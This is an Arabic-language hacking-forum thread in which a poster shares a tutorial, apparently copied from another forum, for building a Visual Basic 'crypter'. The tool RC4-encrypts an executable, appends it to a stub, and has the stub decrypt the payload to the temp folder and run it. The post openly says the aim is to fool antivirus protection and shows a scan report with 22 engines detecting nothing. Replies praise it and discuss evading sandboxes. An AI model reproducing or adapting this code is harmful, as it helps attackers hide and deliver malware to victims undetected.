عمــل برنـآمج تشفيـــرٍ

تم تحميل الصفحة في 0,4901267 ثانية
عمــل برنـآمج تشفيـــرٍ
الحالة
مغلق و غير مفتوح للمزيد من الردود.

Dr.viurs

ExpErt DeveloPer
rankrankrankrankrankrank
إنضم
8 نوفمبر 2006
المشاركات
4,343
الإعجابات
501
النقاط
0


بعد السلام عليكم

كيف حالكم ياخوآن

المهم حبيت اعمل شرح برنامج تشفير
وفيه خاصية عمل خدع الحمايـهَ ،

انا نعمل خدع للحماااية

من خلال كود بسيط نضيعه في الجنرال ( التصريحآت العامه)

في برنآمج التشفير نفسـه

نخش في الموضووع

راح نتكلم عن شرحين

شرح البرنامج

وشرح الستب

الان شرح البرنآمج :_:

والان نخش بالاكوآد في برنآمج التشفير نفـــسه . .

كــود التصريحآت العامه (الجنرال) :_:

كود:
Option Explicit 
Const FileSplit = "<%*#%>" 
Const pw = "DnT%[email protected]#q?"

وهي الاكوآد الخاصه لتخطى الحماية

كــود زر استعراض الباتش :_:

كود:
    With CommonDialog1 
    .Filter = "Excuteable Files (*exe) | *.exe" 
    .DialogTitle = "Select a File" 
    .ShowOpen 
    End With 
****1.**** = CommonDialog1.FileName
وهي الكود الخاصه لستعراض الملفات للفروم

المشفـر = t e x t شيل المسافه

كـــود زر التشفير :_:

كود:
Dim sStube As String, sFile As String 

Open App.Path & "\stube.exe" For Binary As #1 
sStube = Space(LOF(1)) 
Get #1, , sStube 
Close #1 


Open ****1.**** For Binary As #1 
sFile = Space(LOF(1)) 
Get #1, , sFile 
Close #1 

Open App.Path & "\crypted.exe" For Binary As #1 
Put #1, , sStube & FileSplit & RC4(sFile, pw) 
Close #1 

MsgBox "مبـــروك تم التشفير "

الكـود الخاص لجلب الستب واعطاء الملفات المشفر تمسيه

المشفـر = t e x t

كــود الموديل ModRc4 :_:

كود:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String 
On Error Resume Next 
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte 
If Len(Password) = 0 Then 
    Exit Function 
End If 
If Len(Expression) = 0 Then 
    Exit Function 
End If 
If Len(Password) > 256 Then 
    Key() = StrConv(Left$(Password, 256), vbFromUnicode) 
Else 
    Key() = StrConv(Password, vbFromUnicode) 
End If 
For X = 0 To 255 
    RB(X) = X 
Next X 
X = 0 
Y = 0 
Z = 0 
For X = 0 To 255 
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256 
    Temp = RB(X) 
    RB(X) = RB(Y) 
    RB(Y) = Temp 
Next X 
X = 0 
Y = 0 
Z = 0 
ByteArray() = StrConv(Expression, vbFromUnicode) 
For X = 0 To Len(Expression) 
    Y = (Y + 1) Mod 256 
    Z = (Z + RB(Y)) Mod 256 
    Temp = RB(Y) 
    RB(Y) = RB(Z) 
    RB(Z) = Temp 
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256)) 
Next X 
RC4 = StrConv(ByteArray, vbUnicode) 
End Function


وبكذا يكون خلصنا 50 بالميه من البرنامج

باقي لنا الستب

وهو مهم جد لتشفير

شرح عمل الستب :_:


كود:
Option Explicit 
Const FileSplit = "<%*#%>" 
Const pw = "DnT%[email protected]#q?" 
Public Declare Function [B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B]lExecute Lib "[B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B]l32.dll" Alias "[B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B]lExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long 

Public Sub Main() 
Dim sStub As String, sFile As String 

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 
sStub = Space(LOF(1)) 
Get #1, , sStub 
Close #1 

sFile = Split(sStub, FileSplit)(1) 

Open Environ("tmp") & "decrypted.exe" For Binary As #1 
Put #1, , RC4(sFile, pw) 
Close #1 


Call [B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B]lExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 


End Sub


كــــود الموديل ModRc4 :_:

كود:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String 
On Error Resume Next 
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte 
If Len(Password) = 0 Then 
    Exit Function 
End If 
If Len(Expression) = 0 Then 
    Exit Function 
End If 
If Len(Password) > 256 Then 
    Key() = StrConv(Left$(Password, 256), vbFromUnicode) 
Else 
    Key() = StrConv(Password, vbFromUnicode) 
End If 
For X = 0 To 255 
    RB(X) = X 
Next X 
X = 0 
Y = 0 
Z = 0 
For X = 0 To 255 
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256 
    Temp = RB(X) 
    RB(X) = RB(Y) 
    RB(Y) = Temp 
Next X 
X = 0 
Y = 0 
Z = 0 
ByteArray() = StrConv(Expression, vbFromUnicode) 
For X = 0 To Len(Expression) 
    Y = (Y + 1) Mod 256 
    Z = (Z + RB(Y)) Mod 256 
    Temp = RB(Y) 
    RB(Y) = RB(Z) 
    RB(Z) = Temp 
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256)) 
Next X 
RC4 = StrConv(ByteArray, vbUnicode) 
End Function
الستب النـآتج مشفر



Report generated: 17.9.2008 at 18.51.56 (GMT 1)
Filename: Stube.exe
File size: 20 KB
PEiD: Microsoft Visual Basic 5.0 / 6.0
MD5 Hash: D892F9699D87589CE2374CE**B764148
SHA1 Hash: 8892AA7E74D962B0E04BAF8E1B2DE1EBEA4D62DB
Binder Detector: Nothing found

Detections

A-Squared - Nothing found!
Antivir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamWin - Nothing found!
Comodo - Nothing found!
Dr.*** - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
McAfee - Nothing found!
NOD32 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
QuickHeal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!

Scan report generated by
NoVirusThanks.org


وبكذا يكون طورنا النسخه الجديده من برنآمج التشفير

وحطينا فيه ميزه وهي انه يخدع الحماية
ونقدر نطور البرنامج ونعمل على الستب الى نبي

مثلا لو خلينا في الستب تخطى send

يصير الملفات الناتجه تتخطى نفس الستب

لانه هو المسئول عن التشفير


اتمنــى مااحد يحمل لين يرٍدَ

(منقول من سرٍإًج المحبـــه)



رابــط تحمميل الاكـــوٍإًد

Dr.vIuRs
 

anT!-Tr0J4n

.:: Legends DeveloPer ::.
rankrankrankrankrankrank
إنضم
7 يناير 2008
المشاركات
5,504
الإعجابات
388
النقاط
83
رد: عمــل برنـآمج تشفيـــرٍ

تسلم ايدك دكتور فايروس على النقل المميز

:6:
 
إنضم
25 ديسمبر 2006
المشاركات
153
الإعجابات
8
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

وعليكم السلام ورحمه الله وبركاته
نقل رآئـع :12:

يعطييك العافييه يابطل وانت اكثر من اللفت نظري لتشفير واخونا الموت رحمه ولا يهون الجميييع ... واصل أبداعك :32:
<< شهاده حق :12:
 

Xx SaRaB xX

Beginner Developer
rank
إنضم
26 أبريل 2009
المشاركات
133
الإعجابات
9
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

تسلم دكتور فايروس على النقل

وفكره التعديل على سورس كود برنامج تشفير

لتخطي الفحص مثل (الساند بوكس) حلوه :6:

بس التحدي الحقيقي هو تخطي البروسيس :2:



:32: تقبل مروري بود :32:
 

calipsou07

ExpErt DeveloPer
rankrankrankrankrank
إنضم
16 فبراير 2009
المشاركات
2,145
الإعجابات
489
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

تسلم دكتور فايروس
 

R7lt-JR7

Active DeveloPer
rankrankrank
إنضم
28 سبتمبر 2008
المشاركات
612
الإعجابات
30
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

يمـآلـ الـع ـآفيـة يـ الدكتور .. نـقل ولـآ ـآرووع منهـ ..


يسلمك ربـــي ..
 

D.Dll

Beginner Developer
rank
إنضم
3 أبريل 2009
المشاركات
45
الإعجابات
0
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

والله شنب يا فايروس :15:
 
إنضم
26 سبتمبر 2008
المشاركات
869
الإعجابات
112
النقاط
43
رد: عمــل برنـآمج تشفيـــرٍ

ياخي جربته لكن كود زر التشفير يطلع لي خطأ على هالكلمة

rc4


يعني ناقص
 
إنضم
20 ديسمبر 2006
المشاركات
234
الإعجابات
2
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

يسلمووووو ع الموضــوووع

لو سمحــت اخــى ممكــن شــرح فيــديوووو :28:


تفبــل مروري
 
إنضم
14 أكتوبر 2008
المشاركات
409
الإعجابات
44
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

عاداتك يادكتور
فديت راسك بس
وشاكرلك ع النقل الحلو ياحلو :28:





>يجب أن تضع للبعض سمعات قبل إعطائها إلى Dr.viurs مرة أخرى.<
 
إنضم
8 أكتوبر 2008
المشاركات
1,443
الإعجابات
37
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

تسلم يدك على النقل المميز :8:
 

calipsou07

ExpErt DeveloPer
rankrankrankrankrank
إنضم
16 فبراير 2009
المشاركات
2,145
الإعجابات
489
النقاط
0
رد: عمــل برنـآمج تشفيـــرٍ

تسلم دكتور فايروس على النقل
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل